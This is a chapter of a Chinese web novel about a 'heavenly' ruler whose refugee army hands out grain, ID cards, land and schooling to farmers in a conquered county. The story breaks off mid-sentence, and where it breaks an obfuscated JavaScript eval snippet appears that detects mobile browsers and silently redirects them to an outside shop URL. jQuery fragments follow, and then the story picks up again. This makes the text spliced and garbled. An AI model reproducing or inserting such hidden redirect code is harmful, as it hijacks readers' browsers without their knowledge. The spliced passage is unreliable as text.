王义还没走到近前,就高高举起手里的布袋。
喊道:“老三,是真的,我真的领到了!半钧稻!快去,晚了就只有板栗了!”
王老三听罢,心下一喜,二话不说扭头进屋拿了麻袋,就要进城,王义拦住他道:“你先别忙,里正说今天已经排不上了,人太多了,下一次排到咱们里是后天,到时候还是他带你们去。”
王老三便很有些焦急,昨天里正可是说去晚了发的就不是稻麦了,稻麦比杂粮好吃,他自然更情愿吃稻麦。
王义走得近了,又给他展示手里的小卡片:“你看,这就是我新办的身份证,是不是很神奇?”
王老三接过来一看,眼睛不由自主瞪地溜圆。
这硬质卡片上,一个拇指大小的人头像栩栩如生,不是王义又是谁?
“这……这,你怎么恁是好运气,竟得了大家为你画像!”
王老三以为这是画的,且一定是王义运气极佳,分到一个绘画大家为他作画,人像才会如此相像。
王义哈哈一笑:“什么呀,这不是画的,是拍照拍的,就是一个天神之眼看了我一眼,就记下了我的这张脸,然后没几分钟,这身份证就制作好了。”
他如此轻描淡写,其实刚刚看到的时候也吓了一大跳,还是工作人员反复解释才明白不是妖法,是仙术。
王老三现在的感情有点复杂,王义和他虽然都是佃户,但他家里还有个病弱的老母和生病的妹妹,且他本人在佃户中也说不上能干,不像王老三,有一把子力气,天地侍弄地不错,又无家小负累。
王老三的家计是一向要比王义家好得多的,可这才半天时间,王义似乎已经见了他不曾见过的世面。
王义却没空关心王老三的想法,继续兴奋地分享着他的见闻:“天人还说要给我们都分田呢!以后咱们就再也不是佃户了,都有自己的地了!”
“什么?!”
王老三此时更是惊呼出声,实在难以置信。
田地还能用“分”的?田地不都是买吗?有钱了,就买地,没钱了就卖地,有谁会把自己的地白送人?
这……他都开始替流民军担忧了,这样是不是太败家了?
好不容易打下的城池,土地就这么白送给他们这些佃户?
王义也是一副难以理解的样子,但他只要确认这件事是真的便行了,背后的道理他不准备去深究。
王老三忙要追问,他却说不出更多了。
只道:“总之你晚上开会的时候听里正说吧!”
王老三便很是期待晚上的会了。
到晚间,里正果然再次在晒谷场召集了全里人,这次不光是男人,连老弱妇孺也都到了。
明显是全都知道了早上去领粮食的人们真的领了粮食回来。
因此大家对流民军说的话有了一点信任,迫切地想要了解他们说的分田的消息是不是真的。
又怎么分。
当然,他们除了这些,也迫切地想知道流民军们究竟是怎样的一伙人。
他们在县里能不能待得长久,若是才分了田没多久就被朝廷赶走了,那他们不是白帮人种田了吗?
就在这种强烈的好奇情绪中,里正开始宣布流民军的分田政策:
“分田按照户口本上的人头来分,男女老少都有,按照男丁二十亩,女子十五亩地标准分配,分配的土地允许耕种二十年,农民对分得的土地只有使用权,不得买卖,也不得进行盈利性地出租,若出租租金不得高于五十钱一年。分得的土地每年地租为收成的三成,除此之外再无任何税赋,若有官吏以其他名义收税,务必不要给,且立马举报,该官吏会立刻被革职!下面再说一遍……”
在场众人却是轰一下激动起来,哪怕这地不是给他们,但只收三成的田租啊!比雍氏足足少收两成,而且一做就是二十年,和自己的又有什么区别?
有人便问:“那二十年后怎么说呢?”
里正说完两遍后,不紧不慢道:“那到时候再说呗,估计租金也是不会涨的,天人救苦救难!”
那几户领了粮食的人家也附和道:“天人仁善!”
虽然还是有些不可置信,但大家也都积极地讨论着,在麻木的生活中,有了点新的憧憬。
里正忙着主持丈量土地的工作,他很尽心,因为天人说了,过去他们的俸禄太少了,每年只有县衙拨付的口粮三十石粟。(约合人民币 3600 元)
天人给他们翻了三倍,四时八节还有节礼。他如果再不尽心,怎么对得起天人的栽培!
何况天人说了,以后升官全靠评比,谁工作做的好,更能让百姓配合,不出乱子,谁就更能升迁。
哪怕王里正已经四十了,黄土埋了半截身子的人,也觉得自己很是能再闯一闯!
正忙着,就见王老三过来了,一边走还一边私下张望,衣服做贼心虚的样子。
他假装没注意到他的异常,悄悄和其他人拉开了点距离,果然王老三踌躇了一会儿上前来。
果然是来找他的!
就不知道是来举报还是自荐?
“里正,我有件事想和你说。”
王里正抬手止住话头,带他到了树下,确定没人能听到他们讲话才道:“有什么事说吧。”
王老三很不好意思似的,扭扭捏捏道:“我今早凌晨的时候睡不着去挑水,就听到……这……也不是咱不记恩,实在是他们太凶恶了,竟然要火烧县城,所以不得不来禀报。”
王里正心里门清,凌晨听到的,若真有心告发,便该立马来禀报,为何现在才来?还不是因为见到村里有人真领到粮食了,还要分田,这才顾不得老东家的恩情,也要举报了。
但王里正也很能理解他,雍氏虽然庇护了他们,让他们免于朝廷苛捐杂税的催逼,但也实打实收走了五成的粮食,大家的日子并不好过。
如今来了天人和她的天兵天将,谁还看的上从前的老主家呢?
他也不去斥责他“忘恩负义”的行为,点头赞赏:“你做的很对,雍氏这些豪族,和朝廷一起逼得我们小民快没有活路了,还要我们对他们感恩戴德,实在是无耻之尤!”
王老三没想到里正会这么说,脸登时涨得通红,实在是太别扭了!
就算里正要捧天人,也不必对老东家如此贬低吧,他深心里对老东家其实是愧疚的,只是出于利益选择的告发,因此听了这话,便觉得浑身难受。
王里正似乎也看出了他的想法,但没有批评他,只说:“你现在还没进过城,等你进城一次之后,便知道我所言不虚了!现在和你说多了你也理解不了,罢了。”
王老三唯唯诺诺走了,他心里不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154486|196519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么认同,但也没有反驳里正的必要,毕竟之后他的田怎么分还是里正说了算。
和王家里一样,葭萌县的各个乡、亭、里都开始在里正的带领下开始重新丈量土地。
尤其是要把三氏豪族占有的四万亩土地分配清楚。
慕宁处理完今日的文书工作,又到隔壁去看拍身份证。
这些天她只要做完工作都会尽量来呆上一会儿。
这里现在不光是拍身份证,拍完身份证等拿证的时间还会有专人介绍土地政策,为的就是每个在她统治内的人,都知道她的田地政策。
至于会不会有人不来领粮食,也不愿意办身份证的,慕宁相信会有的,但虽然之后工厂的新建,做工、上学、做交易等都要用身份证的时候,她相信这些人也无法长期游离在她的统治外。
如果真有极少数这样的人,他的生活一定是不太需要和官府打交道的,也没有识字、种田,甚至做生意的需求,这样的人不管在哪都是极少数,慕宁便当他们不存在,只要不会威胁到她的统治。
她来尉廨,监督工作只是顺带,更多的是为了尽快了解这里的百姓,以便确立接下来的统治策略。
是的,虽然她来自现代,但经历过末世后,她可不会想当然地把现代那一套完全照搬。
就比如现在,领头的里正们见了她倒是可以镇定地行颔首礼了,但其他村民一旦得知她就是里正们口中的“天人”,要下跪叩拜的热情是止都止不住的。
工作人员只得又不厌其烦地给大家科普“人人平等”,礼仪从简等新风。
百姓们还很难接受似的,毕竟普通小民见了县官都得跪拜,何况天人?
尉廨后面便是原本的教场,隐隐能听到流民军在那里训练喊出的号子,那号子也奇怪,但出奇的节奏一致。
不用看也知道定是精兵悍将,至少以前县里的兵训练的时候可没这声势。
百姓们对,慕宁的敬畏可不仅来自于里正的话,而是不管她人看着多弱小,却实实在在掌握了一只强军。
衙门正堂两侧的诸曹办公署也已被改造成了教室,现在和慕宁一起来的流民们正在小先生的教授下学习。
王老三好奇地听着教室朗朗的读书声,感觉似乎和从前偷听到的不一样,但哪里不同,他也说不上来,他又没正经读过书。
他和王家里所有上次没来领粮食的人排作一列,所幸他觉少,天没亮的时候就去晒谷场排队,因此是第一个登记的,里正就站在他前面,他便小声问道:“这些读书的都是什么人?”
听说流民军是从梓潼来的,难道他们把梓潼的读书人也都带来了吗?
里正轻声道:“都是流民,以前跟我们一样,有农民有佃户。”
王老三听了默然无语,但心里有了个隐隐绰绰的想法:既然他们能读书,他行不行呢?
他也是农民。
这么想,又觉得自己没什么道理,毕竟流民军可是跟着天人攻下了他们县,好歹是有功之臣,他王老三不但没功劳,还马上要白领天人的粮食,怎么好比较?
又转念道,他告发了雍氏管家的好事,应该也算有点小功?
王老三在心里暗暗下定决心,一会儿排到他的时候,定要问一问工作人员,怎样才能入学,若是只有流民军才能入读,他就是投了他们又如何?